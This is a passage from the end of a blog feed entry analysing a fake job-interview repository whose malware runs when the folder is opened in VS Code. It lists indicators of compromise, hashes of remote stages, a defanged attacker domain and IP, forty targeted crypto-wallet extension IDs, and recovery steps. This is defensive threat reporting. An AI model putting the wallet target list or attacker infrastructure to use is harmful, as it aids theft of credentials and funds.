      <li><code class="language-plaintext highlighter-rouge">~/.local/share/daam-demo/</code> and <code class="language-plaintext highlighter-rouge">%LOCALAPPDATA%\daam-demo\</code></li>
      <li><code class="language-plaintext highlighter-rouge">$TMP/daam-connect-runner*.js</code>, <code class="language-plaintext highlighter-rouge">$TMP/daam-extra-*/worker.js</code> (plus <code class="language-plaintext highlighter-rouge">worker.log</code>, <code class="language-plaintext highlighter-rouge">worker.out.log</code>, <code class="language-plaintext highlighter-rouge">worker.err.log</code>)</li>
      <li><code class="language-plaintext highlighter-rouge">$TMP/pid.5.1.lock</code>, <code class="language-plaintext highlighter-rouge">$TMP/pid.5.2.lock</code>, <code class="language-plaintext highlighter-rouge">$TMP/pid.5.3.lock</code></li>
      <li><code class="language-plaintext highlighter-rouge">$TMP/.upload_&lt;timestamp&gt;_*</code>, <code class="language-plaintext highlighter-rouge">$TMP/decrypt-key-*.ps1</code>, <code class="language-plaintext highlighter-rouge">$TMP/*_login_data_*.db</code>, <code class="language-plaintext highlighter-rouge">$TMP/remote-shell-bashrc-*.sh</code>,
<code class="language-plaintext highlighter-rouge">%TEMP%\daam-node-*.msi</code></li>
      <li>A repo folder where <code class="language-plaintext highlighter-rouge">.vscode/settings.json</code> and <code class="language-plaintext highlighter-rouge">.git</code> have disappeared</li>
    </ul>

    <p><strong>Process</strong></p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">node &lt;tmp&gt;/daam-extra-*/worker.js</code>, and <code class="language-plaintext highlighter-rouge">node</code> processes started from <code class="language-plaintext highlighter-rouge">$TMP</code> with
<code class="language-plaintext highlighter-rouge">--max-old-space-size=4096 --no-warnings</code></li>
      <li><code class="language-plaintext highlighter-rouge">powershell -WindowStyle Hidden -EncodedCommand …</code> repeating every second (clipboard polling)</li>
    </ul>

    <p><strong>SHA-256 of remote stages (as served 2026-10-10)</strong></p>

    <table>
      <thead>
        <tr>
          <th>Stage</th>
          <th>SHA-256</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td>1, Linux</td>
          <td><code class="language-plaintext highlighter-rouge">d48dd7cc52b190516120e2ab6feaad57536fd60086d837e40019d64c8a3a1983</code></td>
        </tr>
        <tr>
          <td>1, macOS</td>
          <td><code class="language-plaintext highlighter-rouge">e311874df325e1c522916c29b3e5f0f337bee5ef68421db3112541d6961c3f1e</code></td>
        </tr>
        <tr>
          <td>1, Windows</td>
          <td><code class="language-plaintext highlighter-rouge">506f76bbcc9c1365498868e773ceeaec4cd43f2f67e3c2dcf027113487780234</code></td>
        </tr>
        <tr>
          <td>2, connect-runner</td>
          <td><code class="language-plaintext highlighter-rouge">37d5d02a2d28030f2abacc5ec530eb7be52568c611d88d0566222d512f737797</code></td>
        </tr>
        <tr>
          <td>3, worker.js</td>
          <td><code class="language-plaintext highlighter-rouge">b5eacd772937996891a2cc8b399f068cda7958ccff1c0cc71dd80f02040a8872</code></td>
        </tr>
      </tbody>
    </table>

    <details>
      <summary id="wallet-extension-ids-targeted">
        <p><b>Wallet extension IDs targeted (40)</b>&lt;/summary&gt;</p>

        <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nkbihfbeogaeaoehlefnkodbefgpgknn  (MetaMask)          ejbalbakoplchlghecdalmeeeajnimhm  (MetaMask – Edge)
acmacodkjbdgmoleebolmdjonilkdbch  (Rabby)             bfnaelmomeimhlpmgjnjophhpkkoljpa  (Phantom)
ibnejdfjmmkpcnlpebklmnkoeoihofec  (TronLink)          egjidjbpglichdcondbcbdnbeeppgdph  (Trust Wallet)
nphplpgoakhhjchkkhmiggakijnkhfnd  (TON Wallet)        omaabbefbmiijedngplfjmnooppbclkk  (Tonkeeper)
bhhhlbepdkbapadjdnnojkbgioiodbic  (Solflare)          aeachknmefphepccionboohckonoeemg  (Coin98)
aflkmhkiijdbfcmhplgifokgdeclgpoi                      agoakfejjabomempkjlepdflaleeobhb  (Core)
aholpfdialjgjfhomihkjbmgjidlcdno  (Exodus Web3)       afbcbjpbpfadlkmhmclhkeeodmamcflc  (Math Wallet)
cgbogdmdefihhljhfeffkljbghamglni                      dmkamcknogkgcdfhhbddcghachkejeap  (Keplr)
dlcobpjiigpikoobohmabehhmhfoodbb  (Argent X)          efbglgofoippbgcjepnhiblaibcnclgk  (Martian)
ejjladinnckdgjemekebdpeokbikhfci  (Petra)             fhbohimaelbohpjbbldcngcnapndodjp  (Binance Wallet)
fhkbkphfeanlhnlffkpologfoccekhic                      fhmfendgdocmcbmfikdcogofphimnkno
fldfpgipfncgndfolcbkdeeknbbbnhcc  (MyTonWallet)       gjnckgkfmgmibbkoficdidcljeaaaheg
hifafgmccdpekplomjjkcfgodnhcellj  (Crypto.com DeFi)   hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad  (Coinbase Wallet)   jiidiaalihmmhddjgbnbgdfflelocpak  (Bitget Wallet)
jblndlipeogpafnldhgmapagcccfchpi  (Kaikas)            jmbkjchcobfffnmjboflnchcbljiljdk
jnjpmcgfcfeffkfgcnjefkbkgcpnkpab                      kpkmkbkoifcfpapmleipncofdbjdpice
khpkpbbcccdmmclmpigdgddabeilkdpd  (Suiet)             ldinpeekobnhjjdofggfgjlcehhmanaj
lgmpcpglpngdoalbgeoldeajfclnhafa  (SafePal)           mcohilncbfahbmgdjkbpemcciiolgcge  (OKX Wallet)
mopnmbcafieddcagagdcbnhejhlodfdd                      nkklfkfpelhghbidbnpdfhblphpfjmbo
penjlddjkjgpnkllboccdgccekpkcbin                      ppbibelpcjmhbdihakflkdcoccbgbkpo  (UniSat)
</code></pre></div>        </div>

        <p>Names are best-effort identifications from public Chrome Web Store IDs. Unlabeled IDs weren’t confirmed.</p>

        <p>&lt;/details&gt;</p>

        <h2 id="recommendations">Recommendations</h2>

        <p><strong>Right now</strong></p>

        <ol>
          <li>Delete the repo, and report the sender to the platform where you met them.</li>
          <li>
            <p>Never open untrusted repos in VS Code (or Cursor, Windsurf, or other forks) outside <strong>Restricted Mode</strong>. Add this
to your <strong>user</strong> settings:</p>

            <div class="language-jsonc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"task.allowAutomaticTasks"</span><span class="p">:</span><span class="w"> </span><span class="s2">"off"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"security.workspace.trust.enabled"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>            </div>
          </li>
          <li>Block <code class="language-plaintext highlighter-rouge">cloudfluxio[.]store</code> and <code class="language-plaintext highlighter-rouge">167.88.172[.]115</code> on your network or firewall.</li>
          <li>Scan before you open:
<code class="language-plaintext highlighter-rouge">pipx install devguard-scanner &amp;&amp; devguard scan https://github.com/owner/repo</code>. It doesn’t replace any of the
steps above (see the <a href="/blog/2026/three-fake-interviews-three-malware-repos/">overview post</a>
for why).</li>
        </ol>

        <p><strong>If the repo was ever opened and trusted in VS Code, assume full compromise:</strong></p>

        <ol>
          <li>Disconnect the machine from the network. Look for the IOCs above, kill the <code class="language-plaintext highlighter-rouge">node</code> processes, and delete the
files listed.</li>
          <li><strong>From a different, clean device:</strong>
            <ul>
              <li>Create <strong>new</strong> wallets with new seed phrases and move all crypto funds. Wallet vaults and seed files may
already be stolen.</li>
              <li>Change every browser-saved password, starting with email, password manager, banking, GitHub/GitLab, cloud
consoles and npm. Enable or re-enroll 2FA.</li>
              <li>Sign out of all sessions (Google, GitHub, Slack and so on) to invalidate stolen cookies.</li>
              <li>Rotate <strong>all</strong> secrets from <code class="language-plaintext highlighter-rouge">.env</code> files and configs: API keys, cloud credentials, DB passwords, deploy
tokens. Rotate SSH keys, and remove the old public keys from servers and GitHub.</li>
              <li>On macOS, change your login password, because the keychain database was taken.</li>
            </ul>
          </li>
          <li>Reinstall the operating system. The RAT gave the attacker arbitrary command execution, so you can’t confirm by
hand that the machine is clean.</li>
        </ol>
      </summary>
    </details>
  </summary>
</details>]]></content><author><name>Hasan YILMAZ</name><email>yilmazhasan111@gmail.com</email></author><category term="web" /><category term="cybersecurity" /><category term="vscode" /><category term="malware" /><category term="interview" /><summary type="html"><![CDATA[Most of us follow one simple rule with code we don't trust - read it, don't run it. A fake interview repo shows why opening the folder is already running it.]]></summary></entry></feed>